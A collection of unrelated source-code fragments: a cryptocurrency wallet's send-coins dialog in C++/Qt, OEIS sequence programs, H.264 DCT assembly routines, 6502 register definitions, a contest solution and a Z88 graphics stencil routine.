ui->labelFeeMinimized->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), ui->customFee->value()) + "/kB");
}
}
void SendCoinsDialog::updateCoinControlState(CCoinControl& ctrl)
{
if (ui->radioCustomFee->isChecked()) {
ctrl.m_feerate = CFeeRate(ui->customFee->value());
} else {
ctrl.m_feerate.reset();
}
// Avoid using global defaults when sending money from the GUI
// Either custom fee will be used or if not selected, the confirmation target from dropdown box
ctrl.m_confirm_target = getConfTargetForIndex(ui->confTargetSelector->currentIndex());
ctrl.m_signal_bip125_rbf = ui->optInRBF->isChecked();
// Include watch-only for wallets without private key
ctrl.fAllowWatchOnly = model->wallet().privateKeysDisabled();
}
void SendCoinsDialog::updateSmartFeeLabel()
{
if(!model || !model->getOptionsModel())
return;
updateCoinControlState(*m_coin_control);
m_coin_control->m_feerate.reset(); // Explicitly use only fee estimation rate for smart fee labels
int returned_target;
FeeReason reason;
CFeeRate feeRate = CFeeRate(model->wallet().getMinimumFee(1000, *m_coin_control, &returned_target, &reason));
ui->labelSmartFee->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), feeRate.GetFeePerK()) + "/kB");
if (reason == FeeReason::FALLBACK) {
ui->labelSmartFee2->show(); // (Smart fee not initialized yet. This usually takes a few blocks...)
ui->labelFeeEstimation->setText("");
ui->fallbackFeeWarningLabel->setVisible(true);
int lightness = ui->fallbackFeeWarningLabel->palette().color(QPalette::WindowText).lightness();
QColor warning_colour(255 - (lightness / 5), 176 - (lightness / 3), 48 - (lightness / 14));
ui->fallbackFeeWarningLabel->setStyleSheet("QLabel { color: " + warning_colour.name() + "; }");
ui->fallbackFeeWarningLabel->setIndent(GUIUtil::TextWidth(QFontMetrics(ui->fallbackFeeWarningLabel->font()), "x"));
}
else
{
ui->labelSmartFee2->hide();
ui->labelFeeEstimation->setText(tr("Estimated to begin confirmation within %n block(s).", "", returned_target));
ui->fallbackFeeWarningLabel->setVisible(false);
}
updateFeeMinimizedLabel();
}
// Coin Control: copy label "Quantity" to clipboard
void SendCoinsDialog::coinControlClipboardQuantity()
{
GUIUtil::setClipboard(ui->labelCoinControlQuantity->text());
}
// Coin Control: copy label "Amount" to clipboard
void SendCoinsDialog::coinControlClipboardAmount()
{
GUIUtil::setClipboard(ui->labelCoinControlAmount->text().left(ui->labelCoinControlAmount->text().indexOf(" ")));
}
// Coin Control: copy label "Fee" to clipboard
void SendCoinsDialog::coinControlClipboardFee()
{
GUIUtil::setClipboard(ui->labelCoinControlFee->text().left(ui->labelCoinControlFee->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// Coin Control: copy label "After fee" to clipboard
void SendCoinsDialog::coinControlClipboardAfterFee()
{
GUIUtil::setClipboard(ui->labelCoinControlAfterFee->text().left(ui->labelCoinControlAfterFee->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// Coin Control: copy label "Bytes" to clipboard
void SendCoinsDialog::coinControlClipboardBytes()
{
GUIUtil::setClipboard(ui->labelCoinControlBytes->text().replace(ASYMP_UTF8, ""));
}
// Coin Control: copy label "Dust" to clipboard
void SendCoinsDialog::coinControlClipboardLowOutput()
{
GUIUtil::setClipboard(ui->labelCoinControlLowOutput->text());
}
// Coin Control: copy label "Change" to clipboard
void SendCoinsDialog::coinControlClipboardChange()
{
GUIUtil::setClipboard(ui->labelCoinControlChange->text().left(ui->labelCoinControlChange->text().indexOf(" ")).replace(ASYMP_UTF8, ""));
}
// Coin Control: settings menu - coin control enabled/disabled by user
void SendCoinsDialog::coinControlFeatureChanged(bool checked)
{
ui->frameCoinControl->setVisible(checked);
if (!checked && model) // coin control features disabled
m_coin_control->SetNull();
coinControlUpdateLabels();
}
// Coin Control: button inputs -> show actual coin control dialog
void SendCoinsDialog::coinControlButtonClicked()
{
CoinControlDialog dlg(*m_coin_control, model, platformStyle);
dlg.exec();
coinControlUpdateLabels();
}
// Coin Control: checkbox custom change address
void SendCoinsDialog::coinControlChangeChecked(int state)
{
if (state == Qt::Unchecked)
{
m_coin_control->destChange = CNoDestination();
ui->labelCoinControlChangeLabel->clear();
}
else
// use this to re-validate an already entered address
coinControlChangeEdited(ui->lineEditCoinControlChange->text());
ui->lineEditCoinControlChange->setEnabled((state == Qt::Checked));
}
// Coin Control: custom change address changed
void SendCoinsDialog::coinControlChangeEdited(const QString& text)
{
if (model && model->getAddressTableModel())
{
// Default to no change address until verified
m_coin_control->destChange = CNoDestination();
ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:red;}");
const CTxDestination dest = DecodeDestination(text.toStdString());
if (text.isEmpty()) // Nothing entered
{
ui->labelCoinControlChangeLabel->setText("");
}
else if (!IsValidDestination(dest)) // Invalid address
{
ui->labelCoinControlChangeLabel->setText(tr("Warning: Invalid Actinium address"));
}
else // Valid address
{
if (!model->wallet().isSpendable(dest)) {
ui->labelCoinControlChangeLabel->setText(tr("Warning: Unknown change address"));
// confirmation dialog
QMessageBox::StandardButton btnRetVal = QMessageBox::question(this, tr("Confirm custom change address"), tr("The address you selected for change is not part of this wallet. Any or all funds in your wallet may be sent to this address. Are you sure?"),
QMessageBox::Yes | QMessageBox::Cancel, QMessageBox::Cancel);
if(btnRetVal == QMessageBox::Yes)
m_coin_control->destChange = dest;
else
{
ui->lineEditCoinControlChange->setText("");
ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:black;}");
ui->labelCoinControlChangeLabel->setText("");
}
}
else // Known change address
{
ui->labelCoinControlChangeLabel->setStyleSheet("QLabel{color:black;}");
// Query label
QString associatedLabel = model->getAddressTableModel()->labelForAddress(text);
if (!associatedLabel.isEmpty())
ui->labelCoinControlChangeLabel->setText(associatedLabel);
else
ui->labelCoinControlChangeLabel->setText(tr("(no label)"));
m_coin_control->destChange = dest;
}
}
}
}
// Coin Control: update labels
void SendCoinsDialog::coinControlUpdateLabels()
{
if (!model || !model->getOptionsModel())
return;
updateCoinControlState(*m_coin_control);
// set pay amounts
CoinControlDialog::payAmounts.clear();
CoinControlDialog::fSubtractFeeFromAmount = false;
for(int i = 0; i < ui->entries->count(); ++i)
{
SendCoinsEntry *entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget());
if(entry && !entry->isHidden())
{
SendCoinsRecipient rcp = entry->getValue();
CoinControlDialog::payAmounts.append(rcp.amount);
if (rcp.fSubtractFeeFromAmount)
CoinControlDialog::fSubtractFeeFromAmount = true;
}
}
if (m_coin_control->HasSelected())
{
// actual coin control calculation
CoinControlDialog::updateLabels(*m_coin_control, model, this);
// show coin control stats
ui->labelCoinControlAutomaticallySelected->hide();
ui->widgetCoinControl->show();
}
else
{
// hide coin control stats
ui->labelCoinControlAutomaticallySelected->show();
ui->widgetCoinControl->hide();
ui->labelCoinControlInsuffFunds->hide();
}
}
SendConfirmationDialog::SendConfirmationDialog(const QString& title, const QString& text, const QString& informative_text, const QString& detailed_text, int _secDelay, const QString& _confirmButtonText, QWidget* parent)
: QMessageBox(parent), secDelay(_secDelay), confirmButtonText(_confirmButtonText)
{
setIcon(QMessageBox::Question);
setWindowTitle(title); // On macOS, the window title is ignored (as required by the macOS Guidelines).
setText(text);
setInformativeText(informative_text);
setDetailedText(detailed_text);
setStandardButtons(QMessageBox::Yes | QMessageBox::Cancel);
setDefaultButton(QMessageBox::Cancel);
yesButton = button(QMessageBox::Yes);
updateYesButton();
connect(&countDownTimer, &QTimer::timeout, this, &SendConfirmationDialog::countDown);
}
int SendConfirmationDialog::exec()
{
updateYesButton();
countDownTimer.start(1000);
return QMessageBox::exec();
}
void SendConfirmationDialog::countDown()
{
secDelay--;
updateYesButton();
if(secDelay <= 0)
{
countDownTimer.stop();
}
}
void SendConfirmationDialog::updateYesButton()
{
if(secDelay > 0)
{
yesButton->setEnabled(false);
yesButton->setText(confirmButtonText + " (" + QString::number(secDelay) + ")");
}
else
{
yesButton->setEnabled(true);
yesButton->setText(confirmButtonText);
}
}
|
; A267317: a(n) = final digit of 2^n-1.
; 0,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5,1,3,7,5
mov $1,1
mov $2,$0
lpb $2
mod $1,5
mul $1,2
sub $2,1
lpe
sub $1,1
mov $0,$1
|
;*!
;* \copy
;* Copyright (c) 2009-2013, Cisco Systems
;* All rights reserved.
;*
;* Redistribution and use in source and binary forms, with or without
;* modification, are permitted provided that the following conditions
;* are met:
;*
;* ?Redistributions of source code must retain the above copyright
;* notice, this list of conditions and the following disclaimer.
;*
;* ?Redistributions in binary form must reproduce the above copyright
;* notice, this list of conditions and the following disclaimer in
;* the documentation and/or other materials provided with the
;* distribution.
;*
;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
;* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
;* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
;* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
;* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
;* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
;* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
;* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
;* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
;* POSSIBILITY OF SUCH DAMAGE.
;*
;*
;* dct.asm
;*
;* Abstract
;* WelsDctFourT4_sse2
;*
;* History
;* 8/4/2009 Created
;*
;*
;*************************************************************************/
%include "asm_inc.asm"
SECTION .rodata align=16
;***********************************************************************
; Constant
;***********************************************************************
align 16
SSE2_DeQuant8 dw 10, 13, 10, 13, 13, 16, 13, 16,
dw 10, 13, 10, 13, 13, 16, 13, 16,
dw 11, 14, 11, 14, 14, 18, 14, 18,
dw 11, 14, 11, 14, 14, 18, 14, 18,
dw 13, 16, 13, 16, 16, 20, 16, 20,
dw 13, 16, 13, 16, 16, 20, 16, 20,
dw 14, 18, 14, 18, 18, 23, 18, 23,
dw 14, 18, 14, 18, 18, 23, 18, 23,
dw 16, 20, 16, 20, 20, 25, 20, 25,
dw 16, 20, 16, 20, 20, 25, 20, 25,
dw 18, 23, 18, 23, 23, 29, 23, 29,
dw 18, 23, 18, 23, 23, 29, 23, 29
;***********************************************************************
; MMX functions
;***********************************************************************
%macro MMX_LoadDiff4P 5
movd %1, [%3]
movd %2, [%4]
punpcklbw %1, %5
punpcklbw %2, %5
psubw %1, %2
%endmacro
%macro MMX_LoadDiff4x4P 10 ;d0, d1, d2, d3, pix1address, pix1stride, pix2address, pix2stride, tmp(mm), 0(mm)
MMX_LoadDiff4P %1, %9, %5, %7, %10
MMX_LoadDiff4P %2, %9, %5+%6, %7+%8, %10
lea %5, [%5+2*%6]
lea %7, [%7+2*%8]
MMX_LoadDiff4P %3, %9, %5, %7, %10
MMX_LoadDiff4P %4, %9, %5+%6, %7+%8, %10
%endmacro
%macro MMX_SumSubMul2 3
movq %3, %1
psllw %1, $01
paddw %1, %2
psllw %2, $01
psubw %3, %2
%endmacro
%macro MMX_SumSubDiv2 3
movq %3, %2
psraw %3, $01
paddw %3, %1
psraw %1, $01
psubw %1, %2
%endmacro
%macro MMX_SumSub 3
movq %3, %2
psubw %2, %1
paddw %1, %3
%endmacro
%macro MMX_DCT 6
MMX_SumSub %4, %1, %6
MMX_SumSub %3, %2, %6
MMX_SumSub %3, %4, %6
MMX_SumSubMul2 %1, %2, %5
%endmacro
%macro MMX_IDCT 6
MMX_SumSub %4, %5, %6
MMX_SumSubDiv2 %3, %2, %1
MMX_SumSub %1, %4, %6
MMX_SumSub %3, %5, %6
%endmacro
%macro MMX_StoreDiff4P 6
movd %2, %6
punpcklbw %2, %4
paddw %1, %3
psraw %1, $06
paddsw %1, %2
packuswb %1, %2
movd %5, %1
%endmacro
SECTION .text
;***********************************************************************
; void WelsDctT4_mmx( int16_t *pDct[4], uint8_t *pix1, int32_t i_pix1, uint8_t *pix2, int32_t i_pix2 )
;***********************************************************************
WELS_EXTERN WelsDctT4_mmx
%assign push_num 0
LOAD_5_PARA
SIGN_EXTENSION r2, r2d
SIGN_EXTENSION r4, r4d
WELS_Zero mm7
MMX_LoadDiff4x4P mm1, mm2, mm3, mm4, r1, r2, r3, r4, mm0, mm7
MMX_DCT mm1, mm2, mm3 ,mm4, mm5, mm6
MMX_Trans4x4W mm3, mm1, mm4, mm5, mm2
MMX_DCT mm3, mm5, mm2 ,mm4, mm1, mm6
MMX_Trans4x4W mm2, mm3, mm4, mm1, mm5
movq [r0+ 0], mm2
movq [r0+ 8], mm1
movq [r0+16], mm5
movq [r0+24], mm4
WELSEMMS
LOAD_5_PARA_POP
ret
;***********************************************************************
; void WelsIDctT4Rec_mmx(uint8_t *rec, int32_t stride, uint8_t *pred, int32_t pred_stride, int16_t *rs)
;***********************************************************************
WELS_EXTERN WelsIDctT4Rec_mmx
%assign push_num 0
LOAD_5_PARA
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
movq mm0, [r4+ 0]
movq mm1, [r4+ 8]
movq mm2, [r4+16]
movq mm3, [r4+24]
MMX_Trans4x4W mm0, mm1, mm2, mm3, mm4
MMX_IDCT mm1, mm2, mm3, mm4, mm0, mm6
MMX_Trans4x4W mm1, mm3, mm0, mm4, mm2
MMX_IDCT mm3, mm0, mm4, mm2, mm1, mm6
WELS_Zero mm7
WELS_DW32 mm6
MMX_StoreDiff4P mm3, mm0, mm6, mm7, [r0], [r2]
MMX_StoreDiff4P mm4, mm0, mm6, mm7, [r0+r1], [r2+r3]
lea r0, [r0+2*r1]
lea r2, [r2+2*r3]
MMX_StoreDiff4P mm1, mm0, mm6, mm7, [r0], [r2]
MMX_StoreDiff4P mm2, mm0, mm6, mm7, [r0+r1], [r2+r3]
WELSEMMS
LOAD_5_PARA_POP
ret
;***********************************************************************
; SSE2 functions
;***********************************************************************
%macro SSE2_Store4x8p 6
SSE2_XSawp qdq, %2, %3, %6
SSE2_XSawp qdq, %4, %5, %3
MOVDQ [%1+0x00], %2
MOVDQ [%1+0x10], %4
MOVDQ [%1+0x20], %6
MOVDQ [%1+0x30], %3
%endmacro
%macro SSE2_Load4x8p 6
MOVDQ %2, [%1+0x00]
MOVDQ %4, [%1+0x10]
MOVDQ %6, [%1+0x20]
MOVDQ %3, [%1+0x30]
SSE2_XSawp qdq, %4, %3, %5
SSE2_XSawp qdq, %2, %6, %3
%endmacro
%macro SSE2_SumSubMul2 3
movdqa %3, %1
paddw %1, %1
paddw %1, %2
psubw %3, %2
psubw %3, %2
%endmacro
%macro SSE2_SumSubDiv2 4
movdqa %4, %1
movdqa %3, %2
psraw %2, $01
psraw %4, $01
paddw %1, %2
psubw %4, %3
%endmacro
%macro SSE2_StoreDiff8p 6
paddw %1, %3
psraw %1, $06
movq %2, %6
punpcklbw %2, %4
paddsw %2, %1
packuswb %2, %2
movq %5, %2
%endmacro
%macro SSE2_StoreDiff8p 5
movq %2, %5
punpcklbw %2, %3
paddsw %2, %1
packuswb %2, %2
movq %4, %2
%endmacro
%macro SSE2_Load8DC 6
movdqa %1, %6 ; %1 = dc0 dc1
paddw %1, %5
psraw %1, $06 ; (dc + 32) >> 6
movdqa %2, %1
psrldq %2, 4
punpcklwd %2, %2
punpckldq %2, %2 ; %2 = dc2 dc2 dc2 dc2 dc3 dc3 dc3 dc3
movdqa %3, %1
psrldq %3, 8
punpcklwd %3, %3
punpckldq %3, %3 ; %3 = dc4 dc4 dc4 dc4 dc5 dc5 dc5 dc5
movdqa %4, %1
psrldq %4, 12
punpcklwd %4, %4
punpckldq %4, %4 ; %4 = dc6 dc6 dc6 dc6 dc7 dc7 dc7 dc7
punpcklwd %1, %1
punpckldq %1, %1 ; %1 = dc0 dc0 dc0 dc0 dc1 dc1 dc1 dc1
%endmacro
%macro SSE2_DCT 6
SSE2_SumSub %6, %3, %5
SSE2_SumSub %1, %2, %5
SSE2_SumSub %3, %2, %5
SSE2_SumSubMul2 %6, %1, %4
%endmacro
%macro SSE2_IDCT 7
SSE2_SumSub %7, %2, %6
SSE2_SumSubDiv2 %1, %3, %5, %4
SSE2_SumSub %2, %1, %5
SSE2_SumSub %7, %4, %5
%endmacro
;***********************************************************************
; void WelsDctFourT4_sse2(int16_t *pDct, uint8_t *pix1, int32_t i_pix1, uint8_t *pix2, int32_t i_pix2 )
;***********************************************************************
WELS_EXTERN WelsDctFourT4_sse2
%assign push_num 0
LOAD_5_PARA
PUSH_XMM 8
SIGN_EXTENSION r2, r2d
SIGN_EXTENSION r4, r4d
pxor xmm7, xmm7
;Load 4x8
SSE2_LoadDiff8P xmm0, xmm6, xmm7, [r1], [r3]
SSE2_LoadDiff8P xmm1, xmm6, xmm7, [r1+r2], [r3+r4]
lea r1, [r1 + 2 * r2]
lea r3, [r3 + 2 * r4]
SSE2_LoadDiff8P xmm2, xmm6, xmm7, [r1], [r3]
SSE2_LoadDiff8P xmm3, xmm6, xmm7, [r1+r2], [r3+r4]
SSE2_DCT xmm1, xmm2, xmm3, xmm4, xmm5, xmm0
SSE2_TransTwo4x4W xmm2, xmm0, xmm3, xmm4, xmm1
SSE2_DCT xmm0, xmm4, xmm1, xmm3, xmm5, xmm2
SSE2_TransTwo4x4W xmm4, xmm2, xmm1, xmm3, xmm0
SSE2_Store4x8p r0, xmm4, xmm2, xmm3, xmm0, xmm5
lea r1, [r1 + 2 * r2]
lea r3, [r3 + 2 * r4]
;Load 4x8
SSE2_LoadDiff8P xmm0, xmm6, xmm7, [r1 ], [r3 ]
SSE2_LoadDiff8P xmm1, xmm6, xmm7, [r1+r2 ], [r3+r4]
lea r1, [r1 + 2 * r2]
lea r3, [r3 + 2 * r4]
SSE2_LoadDiff8P xmm2, xmm6, xmm7, [r1], [r3]
SSE2_LoadDiff8P xmm3, xmm6, xmm7, [r1+r2], [r3+r4]
SSE2_DCT xmm1, xmm2, xmm3, xmm4, xmm5, xmm0
SSE2_TransTwo4x4W xmm2, xmm0, xmm3, xmm4, xmm1
SSE2_DCT xmm0, xmm4, xmm1, xmm3, xmm5, xmm2
SSE2_TransTwo4x4W xmm4, xmm2, xmm1, xmm3, xmm0
lea r0, [r0+64]
SSE2_Store4x8p r0, xmm4, xmm2, xmm3, xmm0, xmm5
POP_XMM
LOAD_5_PARA_POP
ret
;***********************************************************************
; void WelsIDctFourT4Rec_sse2(uint8_t *rec, int32_t stride, uint8_t *pred, int32_t pred_stride, int16_t *rs);
;***********************************************************************
WELS_EXTERN WelsIDctFourT4Rec_sse2
%assign push_num 0
LOAD_5_PARA
PUSH_XMM 8
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
;Load 4x8
SSE2_Load4x8p r4, xmm0, xmm1, xmm4, xmm2, xmm5
SSE2_TransTwo4x4W xmm0, xmm1, xmm4, xmm2, xmm3
SSE2_IDCT xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm0
SSE2_TransTwo4x4W xmm1, xmm4, xmm0, xmm2, xmm3
SSE2_IDCT xmm4, xmm2, xmm3, xmm0, xmm5, xmm6, xmm1
WELS_Zero xmm7
WELS_DW32 xmm6
SSE2_StoreDiff8p xmm4, xmm5, xmm6, xmm7, [r0 ], [r2]
SSE2_StoreDiff8p xmm0, xmm5, xmm6, xmm7, [r0 + r1 ], [r2 + r3]
lea r0, [r0 + 2 * r1]
lea r2, [r2 + 2 * r3]
SSE2_StoreDiff8p xmm1, xmm5, xmm6, xmm7, [r0], [r2]
SSE2_StoreDiff8p xmm2, xmm5, xmm6, xmm7, [r0 + r1 ], [r2 + r3]
add r4, 64
lea r0, [r0 + 2 * r1]
lea r2, [r2 + 2 * r3]
SSE2_Load4x8p r4, xmm0, xmm1, xmm4, xmm2, xmm5
SSE2_TransTwo4x4W xmm0, xmm1, xmm4, xmm2, xmm3
SSE2_IDCT xmm1, xmm2, xmm3, xmm4, xmm5, xmm6, xmm0
SSE2_TransTwo4x4W xmm1, xmm4, xmm0, xmm2, xmm3
SSE2_IDCT xmm4, xmm2, xmm3, xmm0, xmm5, xmm6, xmm1
WELS_Zero xmm7
WELS_DW32 xmm6
SSE2_StoreDiff8p xmm4, xmm5, xmm6, xmm7, [r0 ], [r2]
SSE2_StoreDiff8p xmm0, xmm5, xmm6, xmm7, [r0 + r1 ], [r2 + r3]
lea r0, [r0 + 2 * r1]
lea r2, [r2 + 2 * r3]
SSE2_StoreDiff8p xmm1, xmm5, xmm6, xmm7, [r0], [r2]
SSE2_StoreDiff8p xmm2, xmm5, xmm6, xmm7, [r0 + r1], [r2 + r3]
POP_XMM
LOAD_5_PARA_POP
; pop esi
; pop ebx
ret
%macro SSE2_StoreDiff4x8p 8
SSE2_StoreDiff8p %1, %3, %4, [%5], [%6]
SSE2_StoreDiff8p %1, %3, %4, [%5 + %7], [%6 + %8]
SSE2_StoreDiff8p %2, %3, %4, [%5 + 8], [%6 + 8]
SSE2_StoreDiff8p %2, %3, %4, [%5 + %7 + 8], [%6 + %8 + 8]
%endmacro
;***********************************************************************
; void WelsIDctRecI16x16Dc_sse2(uint8_t *rec, int32_t stride, uint8_t *pred, int32_t pred_stride, int16_t *dct_dc)
;***********************************************************************
WELS_EXTERN WelsIDctRecI16x16Dc_sse2
%assign push_num 0
LOAD_5_PARA
PUSH_XMM 8
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r3, r3d
pxor xmm7, xmm7
WELS_DW32 xmm6
SSE2_Load8DC xmm0, xmm1, xmm2, xmm3, xmm6, [r4]
SSE2_StoreDiff4x8p xmm0, xmm1, xmm5, xmm7, r0, r2, r1, r3
lea r0, [r0 + 2 * r1]
lea r2, [r2 + 2 * r3]
SSE2_StoreDiff4x8p xmm0, xmm1, xmm5, xmm7, r0, r2, r1, r3
lea r0, [r0 + 2 * r1]
lea r2, [r2 + 2 * r3]
SSE2_StoreDiff4x8p xmm2, xmm3, xmm5, xmm7, r0, r2, r1, r3
lea r0, [r0 + 2 * r1]
lea r2, [r2 + 2 * r3]
SSE2_StoreDiff4x8p xmm2, xmm3, xmm5, xmm7, r0, r2, r1, r3
SSE2_Load8DC xmm0, xmm1, xmm2, xmm3, xmm6, [r4 + 16]
lea r0, [r0 + 2 * r1]
lea r2, [r2 + 2 * r3]
SSE2_StoreDiff4x8p xmm0, xmm1, xmm5, xmm7, r0, r2, r1, r3
lea r0, [r0 + 2 * r1]
lea r2, [r2 + 2 * r3]
SSE2_StoreDiff4x8p xmm0, xmm1, xmm5, xmm7, r0, r2, r1, r3
lea r0, [r0 + 2 * r1]
lea r2, [r2 + 2 * r3]
SSE2_StoreDiff4x8p xmm2, xmm3, xmm5, xmm7, r0, r2, r1, r3
lea r0, [r0 + 2 * r1]
lea r2, [r2 + 2 * r3]
SSE2_StoreDiff4x8p xmm2, xmm3, xmm5, xmm7, r0, r2, r1, r3
POP_XMM
LOAD_5_PARA_POP
ret
%macro SSE2_SumSubD 3
movdqa %3, %2
paddd %2, %1
psubd %1, %3
%endmacro
%macro SSE2_SumSubDiv2D 4
paddd %1, %2
paddd %1, %3
psrad %1, 1
movdqa %4, %1
psubd %4, %2
%endmacro
%macro SSE2_Load4Col 5
movsx r2, WORD[%5]
movd %1, r2d
movsx r2, WORD[%5 + 0x20]
movd %2, r2d
punpckldq %1, %2
movsx r2, WORD[%5 + 0x80]
movd %3, r2d
movsx r2, WORD[%5 + 0xa0]
movd %4, r2d
punpckldq %3, %4
punpcklqdq %1, %3
%endmacro
;***********************************************************************
;void WelsHadamardT4Dc_sse2( int16_t *luma_dc, int16_t *pDct)
;***********************************************************************
WELS_EXTERN WelsHadamardT4Dc_sse2
%assign push_num 0
LOAD_2_PARA
PUSH_XMM 8
SSE2_Load4Col xmm1, xmm5, xmm6, xmm0, r1
SSE2_Load4Col xmm2, xmm5, xmm6, xmm0, r1 + 0x40
SSE2_Load4Col xmm3, xmm5, xmm6, xmm0, r1 + 0x100
SSE2_Load4Col xmm4, xmm5, xmm6, xmm0, r1 + 0x140
SSE2_SumSubD xmm1, xmm2, xmm7
SSE2_SumSubD xmm3, xmm4, xmm7
SSE2_SumSubD xmm2, xmm4, xmm7
SSE2_SumSubD xmm1, xmm3, xmm7
SSE2_Trans4x4D xmm4, xmm2, xmm1, xmm3, xmm5 ; pOut: xmm4,xmm3,xmm5,xmm1
SSE2_SumSubD xmm4, xmm3, xmm7
SSE2_SumSubD xmm5, xmm1, xmm7
WELS_DD1 xmm6
SSE2_SumSubDiv2D xmm3, xmm1, xmm6, xmm0 ; pOut: xmm3 = (xmm3+xmm1+1)/2, xmm0 = (xmm3-xmm1+1)/2
SSE2_SumSubDiv2D xmm4, xmm5, xmm6, xmm1 ; pOut: xmm4 = (xmm4+xmm5+1)/2, xmm1 = (xmm4-xmm5+1)/2
SSE2_Trans4x4D xmm3, xmm0, xmm1, xmm4, xmm2 ; pOut: xmm3,xmm4,xmm2,xmm1
packssdw xmm3, xmm4
packssdw xmm2, xmm1
movdqa [r0+ 0], xmm3
movdqa [r0+16], xmm2
POP_XMM
ret
|
;addresses
PORTB = $6000 ;0x6000 = I/O Register B
PORTA = $6001 ;0x6001 = I/O Register A
DDRB = $6002 ;0x6002 = Data Direction Register B
DDRA = $6003 ;0x6003 = Data Direction Register A
T1CL = $6004 ;0x6004 = T1 Low Order Latches/Counter
T1CH = $6005 ;0x6005 = T1 High Order Counter
;0x6006 = T1 Low Order Latches
;0x6007 = T1 High Order Latches
;0x6008 = T2 Low Order Latches/Counter
;0x6009 = T2 High Order Counter
SHIFTREG = $600a ;0x600a = Shift Register
AUXCONTROL = $600b ;0x600b = Auxiliary Control Register
;0x600c = Peripheral Control Register
IRQ_FLAG = $600d ;0x600d = Interrupt Flag Register
IRQ_ENABLE_REG = $600e ;0x600e = Interrupt Enable Register
;0x600f = I/O Register A sans Handshake (I do not believe this computer uses Handshake anyway.)
;flags/data
;irq flags
IRQ_SET = %10000000 ;Set/Clear
IRQ_TIMER1 = %01000000 ;Timer1
IRQ_TIMER2 = %00100000 ;Timer2
IRQ_CB1 = %00010000 ;CB1
IRQ_CB2 = %00001000 ;CB2
IRQ_SHIFT = %00000100 ;Shift Register
IRQ_CA1 = %00000010 ;CA1
IRQ_CA2 = %00000001 ;CA2
;AUXCONTROL register settings
SHIFT_OUT_CB1 = %00011100 ;1 1 1 Shift out under control of external clock (CB1)
TIMER1_CONTINUOUS = %11000000
|
#include <bits/stdc++.h>
using namespace std;
typedef long long LL;
const int MAXN = 5e5+5;
int N;
int A[MAXN];
LL pos, neg;
int main() {
scanf("%d",&N);
for (int i = 0; i < N; i++) {
scanf("%d", &A[i]);
if (A[i] > 0) pos += A[i];
if (A[i] < 0) neg += A[i];
}
LL ans = -1e18;
if (N == 1) {
ans = A[0];
} else {
for (int i = 0; i < N; i++) {
LL curMax;
if (A[i] > 0) curMax = (pos - A[i]) - neg;
else curMax = pos - (neg - A[i]);
if (pos != 0) ans = max({ans, -A[i] + curMax});
else ans = max({ans, A[i] + curMax});
}
}
printf("%lld\n", ans);
} |
; A144898: Expansion of x/((1-x-x^3)*(1-x)^4).
; 0,1,5,15,36,76,147,267,463,775,1262,2011,3150,4867,7438,11268,16951,25358,37766,56047,82945,122482,180553,265798,390880,574358,843432,1237966,1816384,2664311,3907237,5729077,8399372,12313154,18049371,26456513,38778103,56836613,83303006,122091769,178939862,262255209,384360222,563314274,825584663,1209961100,1773292670,2598895757,3808876457,5582189952,8181107809,11990007692,17572222448,25753356492,37743391904,55315643612,81069030960,118812455373,174128133205,255197200155,374009693348,548137866264,803335108083,1177344845111,1725482757135,2528817913123,3706162808350,5431645617879,7960463585742,11666626451247,17098272128766,25058735776704,36725362292775,53823634489066,78882370336070,115607732701995,169431367267137,248313737682286,363921470466441,533352837818898,781666575589744,1145588046148066,1678940884062248,2460607459750762,3606195506001168,5285136390169411,7745743850029909,11351939356144641,16637075746431532,24382819596582926,35734758952853147,52371834699414445,76754654296131415,112489413249122977,164861247948680302,241615902244959157,354105315494234230,518966563443071381,760582465688192238,1114687781182593118
lpb $0
mov $2,$0
sub $0,1
seq $2,226405 ; Expansion of x/((1-x-x^3)*(1-x)^3).
add $1,$2
lpe
mov $0,$1
|
;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
; Set/Reset the couple of vectors being part of a "stencil"
; Basic concept by Rafael de Oliveira Jannone (calculate_side)
;
; Stefano Bodrato - 13/3/2009
;
;
; $Id: w_stencil_init.asm,v 1.4 2016-04-23 20:37:40 dom Exp $
;
IF !__CPU_INTEL__ & !__CPU_GBZ80__
INCLUDE "graphics/grafix.inc"
SECTION code_graphics
PUBLIC stencil_init
PUBLIC _stencil_init
.stencil_init
._stencil_init
; __FASTCALL__ means no need to pick HL ptr from stack
ld d,h
ld e,l
inc de
ld (hl),127 ; big enough but stay in the positive range !
ld bc,maxy
push bc
ldir
pop bc
push bc
ldir
pop bc
ld (hl),0
push bc
ldir
pop bc
dec bc
ldir
ret
ENDIF
|
/*
* Copyright (c) 2019 Opticks Team. All Rights Reserved.
*
* This file is part of Opticks
